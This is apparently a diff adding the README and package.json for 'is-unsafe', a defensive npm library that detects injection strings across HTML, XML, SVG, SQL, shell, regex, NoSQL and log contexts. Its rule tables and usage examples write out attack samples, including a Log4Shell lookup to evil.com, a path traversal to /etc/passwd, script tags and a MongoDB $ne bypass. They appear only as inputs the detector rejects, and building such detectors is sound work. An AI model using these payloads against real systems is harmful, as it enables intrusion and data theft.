+ **Why the change?** String names required a central registry that imported all 9 context modules unconditionally. Even if you only used `HTML` and `XML`, your bundle included all contexts (~22 KB dead weight). With named imports, bundlers include only what you actually import.
84
+
85
+ ---
86
+
87
+ ## API
88
+
89
+ ### `isUnsafe(value, context)` → `boolean`
90
+
91
+ Returns `true` if `value` is unsafe in the given context, `false` otherwise.
92
+
93
+ | Parameter | Type | Description |
94
+ |-----------|------|-------------|
95
+ | `value` | `string` | The string to test. Throws `TypeError` if not a string. |
96
+ | `context` | `PatternList \| PatternList[] \| RegExp` | A named context import, array of context imports, or a custom `RegExp`. |
97
+
98
+ ```js
99
+ import { isUnsafe, HTML, XML } from 'is-unsafe';
100
+
101
+ // Single context
102
+ isUnsafe(value, HTML)
103
+
104
+ // Multiple contexts — true if unsafe in ANY of them
105
+ isUnsafe(value, [HTML, XML])
106
+
107
+ // Custom RegExp — true if pattern matches
108
+ isUnsafe(value, /my-pattern/i)
109
+ ```
110
+
111
+ ---
112
+
113
+ ### `whyUnsafe(value, context)` → `MatchResult | null`
114
+
115
+ Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
116
+
117
+ ```js
118
+ import { whyUnsafe, HTML } from 'is-unsafe';
119
+
120
+ const result = whyUnsafe('<script>alert(1)</script>', HTML);
121
+ // {
122
+ // context: 'HTML',
123
+ // id: 'html-script-open',
124
+ // description: '<script opening tag',
125
+ // pattern: /<script[\s>/]/i
126
+ // }
127
+ ```
128
+
129
+ ---
130
+
131
+ ### `allUnsafe(value, context)` → `MatchResult[]`
132
+
133
+ Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
134
+
135
+ ```js
136
+ import { allUnsafe, HTML } from 'is-unsafe';
137
+
138
+ const findings = allUnsafe('<script onload="x"></script>', HTML);
139
+ // [
140
+ // { context: 'HTML', id: 'html-script-open', ... },
141
+ // { context: 'HTML', id: 'html-script-close', ... },
142
+ // { context: 'HTML', id: 'html-inline-event-handler', ... }
143
+ // ]
144
+ ```
145
+
146
+ ---
147
+
148
+ ### Named context exports
149
+
150
+ Each context is a named export. Import only what your code uses — unused contexts are dropped by your bundler.
151
+
152
+ ```js
153
+ import { HTML, XML, SVG, SQL, SQL_STRICT, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
154
+ ```
155
+
156
+ Note: `SQL-STRICT` is exported as `SQL_STRICT` (hyphens are not valid in JS identifiers).
157
+
158
+ ---
159
+
160
+ ### Custom `PatternList`
161
+
162
+ You can supply your own pattern list alongside or instead of the built-in contexts:
163
+
164
+ ```js
165
+ import { isUnsafe, whyUnsafe, HTML } from 'is-unsafe';
166
+
167
+ const INTERNAL_RULES = [
168
+ { id: 'no-internal-ref', description: 'Blocks references to internal hostnames', pattern: /\.internal\b/i },
169
+ { id: 'no-admin-path', description: 'Blocks paths starting with /admin', pattern: /\/admin\b/i },
170
+ ];
171
+
172
+ // Optional — sets the context label in MatchResult. Defaults to 'CUSTOM'.
173
+ INTERNAL_RULES.label = 'INTERNAL';
174
+
175
+ isUnsafe('https://api.internal/data', INTERNAL_RULES) // true
176
+ isUnsafe('https://example.com/page', INTERNAL_RULES) // false
177
+
178
+ // Mix with built-in contexts
179
+ isUnsafe(value, [HTML, INTERNAL_RULES]);
180
+
181
+ const result = whyUnsafe('https://api.internal/admin', INTERNAL_RULES);
182
+ // { context: 'INTERNAL', id: 'no-internal-ref', description: '...', pattern: /.../ }
183
+ ```
184
+
185
+ Without setting `.label`, `MatchResult.context` will be `'CUSTOM'`.
186
+
187
+ #### Entity decoding (v2.0.3+)
188
+
189
+ The built-in `HTML`, `XML` and `SVG` contexts test each rule against both the raw string and an entity-decoded copy, because browsers decode character references (`&#58;`, `&#x3a;`, `&colon;`, `&Tab;`, `&NewLine;`) before interpreting a URL.
190
+
191
+ A custom `PatternList` does **not** do this by default. Set `decodeEntities` to opt in:
192
+
193
+ ```js
194
+ const INTERNAL_RULES = [
195
+ { id: 'no-js-url', description: 'Blocks javascript: URLs', pattern: /javascript:/i },
196
+ ];
197
+
198
+ isUnsafe('javascript&#58;alert(1)', INTERNAL_RULES); // false (raw match only)
199
+
200
+ INTERNAL_RULES.decodeEntities = true;
201
+ isUnsafe('javascript&#58;alert(1)', INTERNAL_RULES); // true (decoded copy also tested)
202
+ ```
203
+
204
+ Enable it only for markup contexts. Leave it off for SQL, shell, log and similar rules, which should match the string exactly as supplied.
205
+ ---
206
+
207
+
208
+
209
+ ### `VALID_CONTEXTS`
210
+
211
+ A convenience object that re-exports all contexts under their canonical names. Useful for tooling or exhaustive checks across all contexts.
212
+
213
+ > **Warning:** importing `VALID_CONTEXTS` pulls in all 9 context modules. If your bundle size matters and you only need a few contexts, import them individually instead.
214
+
215
+ ```js
216
+ import { VALID_CONTEXTS } from 'is-unsafe';
217
+
218
+ // { HTML: [...], XML: [...], SVG: [...], SQL: [...], 'SQL-STRICT': [...],
219
+ // SHELL: [...], REDOS: [...], NOSQL: [...], LOG: [...] }
220
+
221
+ // Iterate all contexts:
222
+ for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
223
+ if (isUnsafe(value, ctx)) console.log(`Unsafe in ${name}`);
224
+ }
225
+ ```
226
+
227
+ ---
228
+
229
+ ## Contexts
230
+
231
+ ### `HTML`
232
+
233
+ XSS vectors when a string is rendered as HTML:
234
+
235
+ | Rule ID | What it catches |
236
+ |---------|----------------|
237
+ | `html-script-open` | `<script` opening tag |
238
+ | `html-script-close` | `</script>` closing tag |
239
+ | `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
240
+ | `html-vbscript-protocol` | `vbscript:` URI |
241
+ | `html-data-html` | `data:text/html` URI |
242
+ | `html-data-xhtml` | `data:application/xhtml+xml` URI |
243
+ | `html-data-svg` | `data:image/svg+xml` URI |
244
+ | `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
245
+ | `html-entity-obfuscated-script` | `&#x3C;script`, `&#60;script`, `&lt;script` |
246
+ | `html-entity-obfuscated-javascript` | Entity-encoded leading letters of `javascript:` (colon/letter/tab encodings are also caught — see *Entity decoding* below) |
247
+ | `html-style-expression` | CSS `expression()` — IE code execution |
248
+ | `html-object-embed` | `<object>` and `<embed>` tags |
249
+ | `html-base-tag` | `<base href=` — relative URL hijacking |
250
+ | `html-meta-refresh` | `<meta http-equiv="refresh"` |
251
+ | `html-srcdoc` | `srcdoc=` attribute on iframes |
252
+ | `html-iframe` | `<iframe` tag |
253
+ | `html-form` | `<form` tag — phishing injection |
254
+
255
+ ---
256
+
257
+ **Entity decoding (HTML, XML, SVG).** Browsers decode character references before interpreting a URL, so `javascript&#58;alert(1)` is a `javascript:` URL. These three contexts therefore test every rule against the raw input **and** an entity-decoded copy. Decoded forms: decimal/hex numeric references (any leading zeros, semicolon optional), `&colon;`, `&Tab;`, `&NewLine;`. Named references are case-sensitive and need `;`. `&amp;` is intentionally not decoded (double-encoded text renders as text). Other contexts (SQL, SHELL, LOG, …) are matched byte-for-byte.
258
+
259
+ ---
260
+
261
+ ### `XML`
262
+
263
+ Parser-level attacks in XML documents (distinct from HTML XSS):
264
+
265
+ | Rule ID | What it catches |
266
+ |---------|----------------|
267
+ | `xml-cdata-injection` | `<![CDATA[` injection |
268
+ | `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
269
+ | `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
270
+ | `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
271
+ | `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
272
+ | `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
273
+ | `xml-entity-declaration` | `<!ENTITY` declaration |
274
+ | `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
275
+ | `xml-namespace-confusion` | `xmlns=` attribute injection |
276
+ | `xml-comment-injection` | `<!--` comment open |
277
+ | `xml-comment-close` | `-->` comment close |
278
+ | `xml-pi-close` | `?>` processing instruction close |
279
+
280
+ ---
281
+
282
+ ### `SVG`
283
+
284
+ SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
285
+
286
+ | Rule ID | What it catches |
287
+ |---------|----------------|
288
+ | `svg-script-element` | `<script` inside SVG |
289
+ | `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
290
+ | `svg-href-javascript` | `href="javascript:..."` |
291
+ | `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
292
+ | `svg-use-external` | `<use href=` pointing to external URL |
293
+ | `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
294
+ | `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
295
+ | `svg-set-javascript` | `<set to="javascript:..."` |
296
+ | `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
297
+ | `svg-filter-feimage` | `<feImage href=` — external resource load |
298
+ | `svg-image-external` | `<image xlink:href=` with http/javascript URL |
299
+ | `svg-style-javascript` | `style=` containing `javascript:` |
300
+
301
+ ---
302
+
303
+ ### `SQL` and `SQL_STRICT`
304
+
305
+ Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
306
+
307
+ **Use `SQL`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
308
+
309
+ **Use `SQL_STRICT`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
310
+
311
+ | Extra rule in SQL_STRICT | Why it's noisy on general text |
312
+ |--------------------------|-------------------------------|
313
+ | `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
314
+ | `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
315
+ | `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
316
+
317
+ **Base `SQL` rules (present in both):**
318
+
319
+ | Rule ID | What it catches |
320
+ |---------|----------------|
321
+ | `sql-block-comment` | `/*` — comment-based bypass |
322
+ | `sql-union-select` | `UNION SELECT` — data extraction |
323
+ | `sql-tautology-or` | `OR 1=1`, `OR 'a'='a'` — always-true bypass |
324
+ | `sql-tautology-and` | `AND 1=1`, `AND 'a'='a'` |
325
+ | `sql-quote-escape` | `\'` or `''` — string termination attempts |
326
+ | `sql-drop-table` | `DROP TABLE` |
327
+ | `sql-insert-into` | `INSERT INTO` |
328
+ | `sql-delete-from` | `DELETE FROM` |
329
+ | `sql-update-set` | `UPDATE ... SET` |
330
+ | `sql-exec-xp` | `EXEC xp_` — SQL Server extended procedures |
331
+ | `sql-sleep-waitfor` | `SLEEP(` / `WAITFOR DELAY` — time-based blind injection |
332
+ | `sql-cast-convert` | `CAST(` / `CONVERT(` — obfuscation |
333
+ | `sql-char-function` | `CHAR(` — ASCII character encoding |
334
+ | `sql-information-schema` | `INFORMATION_SCHEMA` — metadata extraction |
335
+ | `sql-load-file` | `LOAD_FILE(` / `INTO OUTFILE` — file system access |
336
+
337
+ ---
338
+
339
+ ### `SHELL`
340
+
341
+ Shell injection and path traversal vectors:
342
+
343
+ | Rule ID | What it catches |
344
+ |---------|----------------|
345
+ | `shell-path-traversal-unix` | `../` — Unix directory traversal |
346
+ | `shell-path-traversal-win` | `..\` — Windows directory traversal |
347
+ | `shell-absolute-path-unix` | Leading `/` — absolute Unix path |
348
+ | `shell-absolute-path-win` | `C:\` / `D:\` etc. — absolute Windows path |
349
+ | `shell-null-byte` | `\x00` or `%00` — null byte injection |
350
+ | `shell-command-subst` | `` `cmd` `` / `$(cmd)` — command substitution |
351
+ | `shell-pipe` | `|` — command piping |
352
+ | `shell-semicolon` | `;` — command chaining |
353
+ | `shell-ampersand` | `&&` / `&` — background / logical AND |
354
+ | `shell-redirect` | `>` / `>>` / `<` — I/O redirection |
355
+
356
+ ---
357
+
358
+ ### `REDOS`
359
+
360
+ Patterns dangerous when compiled as a RegExp (catastrophic backtracking):
361
+
362
+ | Rule ID | What it catches |
363
+ |---------|----------------|
364
+ | `redos-nested-quantifier` | `(a+)+`, `(a*)*` — nested quantifiers |
365
+ | `redos-overlapping-alternation` | `(a|a)+` — ambiguous alternation |
366
+ | `redos-star-plus-adjacent` | `a*+` / `(a+)*` — adjacent unbounded quantifiers |
367
+
368
+ ---
369
+
370
+ ### `NOSQL`
371
+
372
+ MongoDB query operator injection and prototype pollution:
373
+
374
+ | Rule ID | What it catches |
375
+ |---------|----------------|
376
+ | `nosql-where-operator` | `$where:` — server-side JS execution |
377
+ | `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
378
+ | `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
379
+ | `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
380
+ | `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
381
+ | `nosql-or-operator` | `$or: [` — always-true condition injection |
382
+ | `nosql-and-operator` | `$and: [` — logical AND injection |
383
+ | `nosql-nor-operator` | `$nor: [` — logical NOR injection |
384
+ | `nosql-exists-operator` | `$exists:` — field enumeration |
385
+ | `nosql-in-operator` | `$in: [` — value enumeration |
386
+ | `nosql-expr-operator` | `$expr:` — aggregation expression injection |
387
+ | `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
388
+ | `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
389
+ | `nosql-proto-pollution` | `__proto__` — prototype pollution |
390
+ | `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
391
+ | `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
392
+
393
+ Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
394
+
395
+ ---
396
+
397
+ ### `LOG`
398
+
399
+ Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
400
+
401
+ | Rule ID | What it catches |
402
+ |---------|----------------|
403
+ | `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
404
+ | `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
405
+ | `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
406
+ | `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
407
+ | `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
408
+ | `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
409
+ | `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
410
+ | `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
411
+ | `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
412
+ | `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
413
+ | `log-null-byte` | `\x00` or `%00` — truncates log entries |
414
+ | `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
415
+
416
+ > **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
417
+
418
+ ---
419
+
420
+ ## Integration examples
421
+
422
+ ### `@nodable/entities` — `postCheck` callback (the motivating use case)
423
+
424
+ ```js
425
+ import { isUnsafe, HTML } from 'is-unsafe';
426
+ import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
427
+
428
+ const dec = new EntityDecoder({
429
+ namedEntities: ALL_ENTITIES,
430
+ postCheck: (resolved, original) => {
431
+ if (isUnsafe(resolved, HTML)) {
432
+ return original; // keep literal &entity; reference
433
+ // or: throw new Error(`Unsafe entity blocked: ${original}`);
434
+ // or: return '[BLOCKED]';
435
+ }
436
+ return resolved;
437
+ }
438
+ });
439
+ ```
440
+
441
+ Only `html.js` ends up in your bundle — `XML`, `SQL`, and all other contexts are excluded automatically.
442
+
443
+ ### `fast-xml-parser` — entity check for HTML + XML contexts
444
+
445
+ ```js
446
+ import { isUnsafe, HTML, XML } from 'is-unsafe';
447
+
448
+ onInputEntity: (name, value) =>
449
+ isUnsafe(value, [HTML, XML]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
450
+ ```
451
+
452
+ Bundle cost: only `html.js` + `xml.js` (~5.8 KB).
453
+
454
+ ### Logging with `whyUnsafe`
455
+
456
+ ```js
457
+ import { isUnsafe, whyUnsafe, HTML, SQL } from 'is-unsafe';
458
+
459
+ function safeInsert(value, context) {
460
+ if (isUnsafe(value, context)) {
461
+ const reason = whyUnsafe(value, context);
462
+ logger.warn('Blocked unsafe value', { ruleId: reason.id, context: reason.context });
463
+ throw new Error(`Unsafe value rejected (${reason.id})`);
464
+ }
465
+ return value;
466
+ }
467
+ ```
468
+
469
+ ### Auditing with `allUnsafe`
470
+
471
+ ```js
472
+ import { allUnsafe, HTML, SQL, SHELL } from 'is-unsafe';
473
+
474
+ const findings = allUnsafe(userInput, [HTML, SQL, SHELL]);
475
+ if (findings.length > 0) {
476
+ auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
477
+ }
478
+ ```
479
+
480
+ ### SQL vs SQL_STRICT — choosing the right tier
481
+
482
+ ```js
483
+ import { isUnsafe, SQL, SQL_STRICT } from 'is-unsafe';
484
+
485
+ // General text field (name, description, comment) — use SQL
486
+ function validateUserBio(bio) {
487
+ if (isUnsafe(bio, SQL)) throw new Error('Invalid content');
488
+ return bio;
489
+ }
490
+
491
+ // Dedicated SQL identifier input (table name picker, column filter) — use SQL_STRICT
492
+ function validateTableName(name) {
493
+ if (isUnsafe(name, SQL_STRICT)) throw new Error('Invalid identifier');
494
+ return name;
495
+ }
496
+
497
+ validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
498
+ validateTableName("users -- comment"); // blocked by SQL_STRICT
499
+ ```
500
+
501
+ ### File upload path guard
502
+
503
+ ```js
504
+ import { isUnsafe, SHELL } from 'is-unsafe';
505
+
506
+ function validateUploadPath(filename) {
507
+ if (isUnsafe(filename, SHELL)) throw new Error('Invalid filename');
508
+ return filename;
509
+ }
510
+
511
+ validateUploadPath('document.pdf'); // OK
512
+ validateUploadPath('../../../etc/passwd'); // throws
513
+ validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
514
+ ```
515
+
516
+ ### User-supplied regex guard
517
+
518
+ ```js
519
+ import { isUnsafe, whyUnsafe, REDOS } from 'is-unsafe';
520
+
521
+ function compileUserRegex(pattern) {
522
+ if (isUnsafe(pattern, REDOS)) {
523
+ const detail = whyUnsafe(pattern, REDOS);
524
+ throw new Error(`ReDoS risk in pattern (${detail.id})`);
525
+ }
526
+ return new RegExp(pattern);
527
+ }
528
+
529
+ compileUserRegex('^[a-z]+$'); // OK
530
+ compileUserRegex('(a+)+'); // throws — nested quantifier
531
+ ```
532
+
533
+ ### MongoDB input guard
534
+
535
+ ```js
536
+ import { isUnsafe, NOSQL } from 'is-unsafe';
537
+
538
+ function safeMongoValue(value) {
539
+ if (isUnsafe(value, NOSQL)) throw new Error('Unsafe MongoDB value');
540
+ return value;
541
+ }
542
+
543
+ safeMongoValue('alice'); // OK
544
+ safeMongoValue('{"$ne": null}'); // throws — $ne bypass
545
+ safeMongoValue('__proto__'); // throws — prototype pollution
546
+ ```
547
+
548
+ ### Log field guard
549
+
550
+ ```js
551
+ import { isUnsafe, LOG } from 'is-unsafe';
552
+
553
+ function safeLogField(value) {
554
+ if (isUnsafe(value, LOG)) throw new Error('Unsafe log value');
555
+ return value;
556
+ }
557
+
558
+ safeLogField('alice'); // OK
559
+ safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
560
+ safeLogField("value\nfake log entry"); // throws — CRLF injection
561
+ ```
562
+
563
+ ### Checking all contexts (tooling / security scanners)
564
+
565
+ ```js
566
+ import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe';
567
+
568
+ for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
569
+ if (isUnsafe(value, ctx)) {
570
+ console.log(`Unsafe in ${name}`);
571
+ }
572
+ }
573
+ ```
574
+
575
+ > Note: this import brings in all 9 context modules. Fine for CLI tools and scanners; use individual named imports in application bundles.
576
+
577
+ ---
578
+
579
+ ## Design principles
580
+
581
+ | Principle | Detail |
582
+ |-----------|--------|
583
+ | **Predicate only** | Returns `true`/`false`. Never mutates strings. |
584
+ | **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
585
+ | **Tree-shakeable** | Each context is an independent named export. Unused contexts are dropped by bundlers. |
586
+ | **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
587
+ | **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
588
+ | **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
589
+ | **Extensible** | Custom `PatternList` arrays work alongside built-in contexts. Set `.label` on your list to get meaningful context names in `MatchResult`. |
590
+ | **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
591
+
592
+ ---
593
+
594
+ ## What `is-unsafe` is NOT
595
+
596
+ - **Not a sanitizer** — it does not modify strings
597
+ - **Not a middleware** — no Express/Koa coupling
598
+ - **Not a firewall** — it does not block requests
599
+ - **Not a complete security solution** — one layer of defence-in-depth
600
+
601
+ ---
602
+
603
+ ## Comparison with existing packages
604
+
605
+ | Package | Problem |
606
+ |---------|---------|
607
+ | `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
608
+ | `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
609
+ | `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
610
+ | `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
611
+ | `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
612
+ | `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
613
+ | **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Tree-shakeable. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
614
+
615
+ The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
616
+
617
+ ---
618
+
619
+ ## Running tests
620
+
621
+ ```sh
622
+ npm install
623
+ npm test
624
+ ```
625
+
626
+ Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
627
+
628
+ ---
629
+
630
+ ## License
631
+
632
+ MIT
@@ -0,0 +1,56 @@
1
+ {
2
+ "name": "is-unsafe",
3
+ "version": "2.0.3",
4
+ "description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
5
+ "type": "module",
6
+ "main": "./src/index.js",
7
+ "module": "./src/index.js",
8
+ "exports": {
9
+ ".": {
10
+ "import": "./src/index.js",
11
+ "require": "./src/index.cjs"
12
+ }
13
+ },
14
+ "types": "./src/index.d.ts",
15
+ "sideEffects": false,
16
+ "scripts": {
17
+ "test": "jasmine **/*.spec.js",
18
+ "test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
19
+ },
20
+ "keywords": [
21
+ "xss",
22
+ "sql-injection",
23
+ "security",
24
+ "safe",
25
+ "predicate",
26
+ "sanitizer",
27
+ "xml",
28
+ "svg",
29
+ "html",
30
+ "shell-injection",
31
+ "redos",
32
+ "unsafe",
33
+ "validator",
34
+ "log",
35
+ "nosql"
36
+ ],
37
+ "repository": {
38
+ "type": "git",
39
+ "url": "https://github.com/NaturalIntelligence/is-unsafe"
40
+ },
41
+ "author": "Amit Gupta (https://solothought.com/)",
42
+ "license": "MIT",
43
+ "funding": [
44
+ {
45
+ "type": "github",
46
+ "url": "https://github.com/sponsors/NaturalIntelligence"
47
+ }
48
+ ],
49
+ "devDependencies": {
50
+ "jasmine": "^6.3.0"
51
+ },
52
+ "files": [
53
+ "src/",
54
+ "README.md"
55
+ ]
56
+ }